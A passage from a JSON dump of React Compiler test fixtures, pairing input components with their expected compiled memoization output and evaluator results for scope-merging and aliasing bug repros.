    "content": "import {Stringify, identity, useIdentity} from 'shared-runtime';\n\nfunction Foo({}) {\n  const x = {};\n  const y = {};\n  useIdentity(0);\n  return (\n    <>\n      <Stringify value={identity(y)} />\n      <Stringify value={identity(x)} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({config}) {\n  /**\n   * The original memoization is optimal in the sense that it has\n   * one output (the object) and one dependency (`config`). Both\n   * the `a` and `b` functions will have to be recreated whenever\n   * `config` changes, cascading to update the object.\n   *\n   * However, we currently only consider consecutive scopes for\n   * merging, so we first see the `a` scope, then the `b` scope,\n   * and see that the output of the `a` scope is used later -\n   * so we don't merge these scopes, and so on.\n   *\n   * The more optimal thing would be to build a dependency graph\n   * of scopes so that we can see the data flow is along the lines\n   * of:\n   *\n   *             config\n   *            /      \\\n   *          [a]      [b]\n   *           \\       /\n   *           [object]\n   *\n   * All the scopes (shown in []) are transitively dependent on\n   * `config`, so they can be merged.\n   */\n  const object = useMemo(() => {\n    const a = event => {\n      config?.onA?.(event);\n    };\n\n    const b = event => {\n      config?.onB?.(event);\n    };\n\n    return {\n      b,\n      a,\n    };\n  }, [config]);\n\n  return <Stringify value={object} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { config } = t0;\n  let t1;\n  if ($[0] !== config) {\n    t1 = (event) => {\n      config?.onA?.(event);\n    };\n    $[0] = config;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const a = t1;\n  let t2;\n  if ($[2] !== config) {\n    t2 = (event_0) => {\n      config?.onB?.(event_0);\n    };\n    $[2] = config;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const b = t2;\n  let t3;\n  if ($[4] !== a || $[5] !== b) {\n    t3 = { b, a };\n    $[4] = a;\n    $[5] = b;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const object = t3;\n  let t4;\n  if ($[7] !== object) {\n    t4 = <Stringify value={object} />;\n    $[7] = object;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  return t4;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reordering-across-blocks.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Component({config}) {\n  /**\n   * The original memoization is optimal in the sense that it has\n   * one output (the object) and one dependency (`config`). Both\n   * the `a` and `b` functions will have to be recreated whenever\n   * `config` changes, cascading to update the object.\n   *\n   * However, we currently only consider consecutive scopes for\n   * merging, so we first see the `a` scope, then the `b` scope,\n   * and see that the output of the `a` scope is used later -\n   * so we don't merge these scopes, and so on.\n   *\n   * The more optimal thing would be to build a dependency graph\n   * of scopes so that we can see the data flow is along the lines\n   * of:\n   *\n   *             config\n   *            /      \\\n   *          [a]      [b]\n   *           \\       /\n   *           [object]\n   *\n   * All the scopes (shown in []) are transitively dependent on\n   * `config`, so they can be merged.\n   */\n  const object = useMemo(() => {\n    const a = event => {\n      config?.onA?.(event);\n    };\n\n    const b = event => {\n      config?.onB?.(event);\n    };\n\n    return {\n      b,\n      a,\n    };\n  }, [config]);\n\n  return <Stringify value={object} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Example fixture demonstrating a case where we could hoist dependencies\n * and reuse them across scopes. Here we extract a temporary for `item.value`\n * and reference it both in the scope for `a`. Then the scope for `c` could\n * use `<item-value-temp>.inner` as its dependency, avoiding reloading\n * `item.value`.\n */\nfunction Test({item, index}: {item: {value: {inner: any}}, index: number}) {\n  // These scopes have the same dependency, `item.value`, and could\n  // share a hoisted expression to evaluate it\n  const a = [];\n  if (index) {\n    a.push({value: item.value, index});\n  }\n  const b = [item.value];\n\n  // This dependency is more precise (nested property), the outer\n  // `item.value` portion could use a hoisted dep for `item.value\n  const c = [item.value.inner];\n  return <Stringify value={[a, b, c]} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Test(t0) {\n  const $ = _c(11);\n  const { item, index } = t0;\n  let a;\n  if ($[0] !== index || $[1] !== item.value) {\n    a = [];\n    if (index) {\n      a.push({ value: item.value, index });\n    }\n    $[0] = index;\n    $[1] = item.value;\n    $[2] = a;\n  } else {\n    a = $[2];\n  }\n  let t1;\n  if ($[3] !== item.value) {\n    t1 = [item.value];\n    $[3] = item.value;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const b = t1;\n  let t2;\n  if ($[5] !== item.value.inner) {\n    t2 = [item.value.inner];\n    $[5] = item.value.inner;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  const c = t2;\n  let t3;\n  if ($[7] !== a || $[8] !== b || $[9] !== c) {\n    t3 = <Stringify value={[a, b, c]} />;\n    $[7] = a;\n    $[8] = b;\n    $[9] = c;\n    $[10] = t3;\n  } else {\n    t3 = $[10];\n  }\n  return t3;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repeated-dependencies-more-precise.js",
    "content": "// @flow\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Example fixture demonstrating a case where we could hoist dependencies\n * and reuse them across scopes. Here we extract a temporary for `item.value`\n * and reference it both in the scope for `a`. Then the scope for `c` could\n * use `<item-value-temp>.inner` as its dependency, avoiding reloading\n * `item.value`.\n */\nfunction Test({item, index}: {item: {value: {inner: any}}, index: number}) {\n  // These scopes have the same dependency, `item.value`, and could\n  // share a hoisted expression to evaluate it\n  const a = [];\n  if (index) {\n    a.push({value: item.value, index});\n  }\n  const b = [item.value];\n\n  // This dependency is more precise (nested property), the outer\n  // `item.value` portion could use a hoisted dep for `item.value\n  const c = [item.value.inner];\n  return <Stringify value={[a, b, c]} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel\nimport {arrayPush, setPropertyByKey, Stringify} from 'shared-runtime';\n\n/**\n * Repro of a bug fixed in the new aliasing model.\n *\n * 1. `InferMutableRanges` derives the mutable range of identifiers and their\n *     aliases from `LoadLocal`, `PropertyLoad`, etc\n *   - After this pass, y's mutable range only extends to `arrayPush(x, y)`\n *   - We avoid assigning mutable ranges to loads after y's mutable range, as\n *     these are working with an immutable value. As a result, `LoadLocal y` and\n *     `PropertyLoad y` do not get mutable ranges\n * 2. `InferReactiveScopeVariables` extends mutable ranges and creates scopes,\n *    as according to the 'co-mutation' of different values\n *   - Here, we infer that\n *     - `arrayPush(y, x)` might alias `x` and `y` to each other\n *     - `setPropertyKey(x, ...)` may mutate both `x` and `y`\n *   - This pass correctly extends the mutable range of `y`\n *   - Since we didn't run `InferMutableRange` logic again, the LoadLocal /\n *     PropertyLoads still don't have a mutable range\n *\n * Note that the this bug is an edge case. Compiler output is only invalid for:\n *  - function expressions with\n *    `enableTransitivelyFreezeFunctionExpressions:false`\n *  - functions that throw and get retried without clearing the memocache\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":11},\"shouldInvokeFns\":true}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n */\nfunction useFoo({a, b}: {a: number, b: number}) {\n  const x = [];\n  const y = {value: a};\n\n  arrayPush(x, y); // x and y co-mutate\n  const y_alias = y;\n  const cb = () => y_alias.value;\n  setPropertyByKey(x[0], 'value', b); // might overwrite y.value\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 10}],\n  sequentialRenders: [\n    {a: 2, b: 10},\n    {a: 2, b: 11},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush, setPropertyByKey, Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = [];\n    const y = { value: a };\n    arrayPush(x, y);\n    const y_alias = y;\n    const cb = () => y_alias.value;\n    setPropertyByKey(x[0], \"value\", b);\n    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2, b: 10 }],\n  sequentialRenders: [\n    { a: 2, b: 10 },\n    { a: 2, b: 11 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\",\"result\":11},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-aliased-mutate.js",
    "content": "// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel\nimport {arrayPush, setPropertyByKey, Stringify} from 'shared-runtime';\n\n/**\n * Repro of a bug fixed in the new aliasing model.\n *\n * 1. `InferMutableRanges` derives the mutable range of identifiers and their\n *     aliases from `LoadLocal`, `PropertyLoad`, etc\n *   - After this pass, y's mutable range only extends to `arrayPush(x, y)`\n *   - We avoid assigning mutable ranges to loads after y's mutable range, as\n *     these are working with an immutable value. As a result, `LoadLocal y` and\n *     `PropertyLoad y` do not get mutable ranges\n * 2. `InferReactiveScopeVariables` extends mutable ranges and creates scopes,\n *    as according to the 'co-mutation' of different values\n *   - Here, we infer that\n *     - `arrayPush(y, x)` might alias `x` and `y` to each other\n *     - `setPropertyKey(x, ...)` may mutate both `x` and `y`\n *   - This pass correctly extends the mutable range of `y`\n *   - Since we didn't run `InferMutableRange` logic again, the LoadLocal /\n *     PropertyLoads still don't have a mutable range\n *\n * Note that the this bug is an edge case. Compiler output is only invalid for:\n *  - function expressions with\n *    `enableTransitivelyFreezeFunctionExpressions:false`\n *  - functions that throw and get retried without clearing the memocache\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":11},\"shouldInvokeFns\":true}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":10},\"shouldInvokeFns\":true}</div>\n */\nfunction useFoo({a, b}: {a: number, b: number}) {\n  const x = [];\n  const y = {value: a};\n\n  arrayPush(x, y); // x and y co-mutate\n  const y_alias = y;\n  const cb = () => y_alias.value;\n  setPropertyByKey(x[0], 'value', b); // might overwrite y.value\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2, b: 10}],\n  sequentialRenders: [\n    {a: 2, b: 10},\n    {a: 2, b: 11},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel\nimport {setPropertyByKey, Stringify} from 'shared-runtime';\n\n/**\n * Variation of bug in `bug-aliased-capture-aliased-mutate`.\n * Fixed in the new inference model.\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":3},\"shouldInvokeFns\":true}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n */\n\nfunction useFoo({a}: {a: number, b: number}) {\n  const arr = [];\n  const obj = {value: a};\n\n  setPropertyByKey(obj, 'arr', arr);\n  const obj_alias = obj;\n  const cb = () => obj_alias.arr.length;\n  for (let i = 0; i < a; i++) {\n    arr.push(i);\n  }\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { setPropertyByKey, Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a) {\n    const arr = [];\n    const obj = { value: a };\n    setPropertyByKey(obj, \"arr\", arr);\n    const obj_alias = obj;\n    const cb = () => obj_alias.arr.length;\n    for (let i = 0; i < a; i++) {\n      arr.push(i);\n    }\n    t1 = <Stringify cb={cb} shouldInvokeFns={true} />;\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\",\"result\":3},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-aliased-capture-mutate.js",
    "content": "// @flow @enableTransitivelyFreezeFunctionExpressions:false @enableNewMutationAliasingModel\nimport {setPropertyByKey, Stringify} from 'shared-runtime';\n\n/**\n * Variation of bug in `bug-aliased-capture-aliased-mutate`.\n * Fixed in the new inference model.\n *\n * Found differences in evaluator results\n * Non-forget (expected):\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":3},\"shouldInvokeFns\":true}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n *   <div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>\n */\n\nfunction useFoo({a}: {a: number, b: number}) {\n  const arr = [];\n  const obj = {value: a};\n\n  setPropertyByKey(obj, 'arr', arr);\n  const obj_alias = obj;\n  const cb = () => obj_alias.arr.length;\n  for (let i = 0; i < a; i++) {\n    arr.push(i);\n  }\n  return <Stringify cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {}\n\nfunction useTest({cond}) {\n  const val = makeObject_Primitives();\n\n  useHook();\n  /**\n   * We don't technically need a reactive scope for this ternary as\n   * it cannot produce newly allocated values.\n   * While identity(...) may allocate, we can teach the compiler that\n   * its result is only used as as a test condition\n   */\n  const result = identity(cond) ? val : null;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity, makeObject_Primitives } from \"shared-runtime\";\n\nfunction useHook() {}\n\nfunction useTest(t0) {\n  const $ = _c(3);\n  const { cond } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = makeObject_Primitives();\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const val = t1;\n\n  useHook();\n  let t2;\n  if ($[1] !== cond) {\n    t2 = identity(cond) ? val : null;\n    $[1] = cond;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  const result = t2;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{ cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-allocating-ternary-test-instruction-scope.ts",
    "content": "import {identity, makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {}\n\nfunction useTest({cond}) {\n  const val = makeObject_Primitives();\n\n  useHook();\n  /**\n   * We don't technically need a reactive scope for this ternary as\n   * it cannot produce newly allocated values.\n   * While identity(...) may allocate, we can teach the compiler that\n   * its result is only used as as a test condition\n   */\n  const result = identity(cond) ? val : null;\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useTest,\n  params: [{cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({userIds}) {\n  return (\n    <Stringify\n      fn={() => {\n        const arr = [];\n\n        for (const selectedUser of userIds) {\n          arr.push(selectedUser);\n        }\n        return arr;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{userIds: [1, 2, 3]}],\n  sequentialRenders: [{userIds: [1, 2, 4]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { userIds } = t0;\n  let t1;\n  if ($[0] !== userIds) {\n    t1 = (\n      <Stringify\n        fn={() => {\n          const arr = [];\n\n          for (const selectedUser of userIds) {\n            arr.push(selectedUser);\n          }\n\n          return arr;\n        }}\n        shouldInvokeFns={true}\n      />\n    );\n    $[0] = userIds;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ userIds: [1, 2, 3] }],\n  sequentialRenders: [{ userIds: [1, 2, 4] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"fn\":{\"kind\":\"Function\",\"result\":[1,2,4]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-backedge-reference-effect.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction Foo({userIds}) {\n  return (\n    <Stringify\n      fn={() => {\n        const arr = [];\n\n        for (const selectedUser of userIds) {\n          arr.push(selectedUser);\n        }\n        return arr;\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{userIds: [1, 2, 3]}],\n  sequentialRenders: [{userIds: [1, 2, 4]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.expect.md",
    "content": "\n## Input\n\n```javascript\n// @panicThreshold(none)\n'use no memo';\n\nfunction Foo() {\n  return <button onClick={() => alert('hello!')}>Click me!</button>;\n}\n\n```\n\n## Code\n\n```javascript\n// @panicThreshold(none)\n\"use no memo\";\n\nfunction Foo() {\n  return <button onClick={() => alert(\"hello!\")}>Click me!</button>;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-bailout-nopanic-shouldnt-outline.js",
    "content": "// @panicThreshold(none)\n'use no memo';\n\nfunction Foo() {\n  return <button onClick={() => alert('hello!')}>Click me!</button>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {makeArray, mutate} from 'shared-runtime';\n\n/**\n * Bug repro, fixed in the new mutability/aliasing inference.\n *\n * Previous issue:\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component({foo, bar}: {foo: number; bar: number}) {\n  let x = {foo};\n  let y: {bar: number; x?: {foo: number}} = {bar};\n  const f0 = function () {\n    let a = makeArray(y); // a = [y]\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { makeArray, mutate } from \"shared-runtime\";\n\n/**\n * Bug repro, fixed in the new mutability/aliasing inference.\n *\n * Previous issue:\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n    const f0 = function () {\n      const a = makeArray(y);\n      const b = x;\n\n      a[0].x = b;\n    };\n\n    f0();\n    mutate(y.x);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 3, bar: 4 }],\n  sequentialRenders: [\n    { foo: 3, bar: 4 },\n    { foo: 3, bar: 5 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n{\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-capturing-func-maybealias-captured-mutate.ts",
    "content": "// @enableNewMutationAliasingModel\nimport {makeArray, mutate} from 'shared-runtime';\n\n/**\n * Bug repro, fixed in the new mutability/aliasing inference.\n *\n * Previous issue:\n *\n * Fork of `capturing-func-alias-captured-mutate`, but instead of directly\n * aliasing `y` via `[y]`, we make an opaque call.\n *\n * Note that the bug here is that we don't infer that `a = makeArray(y)`\n * potentially captures a context variable into a local variable. As a result,\n * we don't understand that `a[0].x = b` captures `x` into `y` -- instead, we're\n * currently inferring that this lambda captures `y` (for a potential later\n * mutation) and simply reads `x`.\n *\n * Concretely `InferReferenceEffects.hasContextRefOperand` is incorrectly not\n * used when we analyze CallExpressions.\n */\nfunction Component({foo, bar}: {foo: number; bar: number}) {\n  let x = {foo};\n  let y: {bar: number; x?: {foo: number}} = {bar};\n  const f0 = function () {\n    let a = makeArray(y); // a = [y]\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState, useEffect} from 'react';\nimport {invoke, Stringify} from 'shared-runtime';\n\nfunction Content() {\n  const [announcement, setAnnouncement] = useState('');\n  const [users, setUsers] = useState([{name: 'John Doe'}, {name: 'Jane Doe'}]);\n\n  // This was originally passed down as an onClick, but React Compiler's test\n  // evaluator doesn't yet support events outside of React\n  useEffect(() => {\n    if (users.length === 2) {\n      let removedUserName = '';\n      setUsers(prevUsers => {\n        const newUsers = [...prevUsers];\n        removedUserName = newUsers.at(-1).name;\n        newUsers.pop();\n        return newUsers;\n      });\n\n      setAnnouncement(`Removed user (${removedUserName})`);\n    }\n  }, [users]);\n\n  return <Stringify users={users} announcement={announcement} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Content,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState, useEffect } from \"react\";\nimport { invoke, Stringify } from \"shared-runtime\";\n\nfunction Content() {\n  const $ = _c(8);\n  const [announcement, setAnnouncement] = useState(\"\");\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [{ name: \"John Doe\" }, { name: \"Jane Doe\" }];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const [users, setUsers] = useState(t0);\n  let t1;\n  if ($[1] !== users.length) {\n    t1 = () => {\n      if (users.length === 2) {\n        let removedUserName = \"\";\n        setUsers((prevUsers) => {\n          const newUsers = [...prevUsers];\n          removedUserName = newUsers.at(-1).name;\n          newUsers.pop();\n          return newUsers;\n        });\n\n        setAnnouncement(`Removed user (${removedUserName})`);\n      }\n    };\n    $[1] = users.length;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== users) {\n    t2 = [users];\n    $[3] = users;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[5] !== announcement || $[6] !== users) {\n    t3 = <Stringify users={users} announcement={announcement} />;\n    $[5] = announcement;\n    $[6] = users;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Content,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"users\":[{\"name\":\"John Doe\"}],\"announcement\":\"Removed user (Jane Doe)\"}</div>\n<div>{\"users\":[{\"name\":\"John Doe\"}],\"announcement\":\"Removed user (Jane Doe)\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-context-var-reassign-no-scope.js",
    "content": "import {useState, useEffect} from 'react';\nimport {invoke, Stringify} from 'shared-runtime';\n\nfunction Content() {\n  const [announcement, setAnnouncement] = useState('');\n  const [users, setUsers] = useState([{name: 'John Doe'}, {name: 'Jane Doe'}]);\n\n  // This was originally passed down as an onClick, but React Compiler's test\n  // evaluator doesn't yet support events outside of React\n  useEffect(() => {\n    if (users.length === 2) {\n      let removedUserName = '';\n      setUsers(prevUsers => {\n        const newUsers = [...prevUsers];\n        removedUserName = newUsers.at(-1).name;\n        newUsers.pop();\n        return newUsers;\n      });\n\n      setAnnouncement(`Removed user (${removedUserName})`);\n    }\n  }, [users]);\n\n  return <Stringify users={users} announcement={announcement} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Content,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-dce-circular-reference.expect.md",
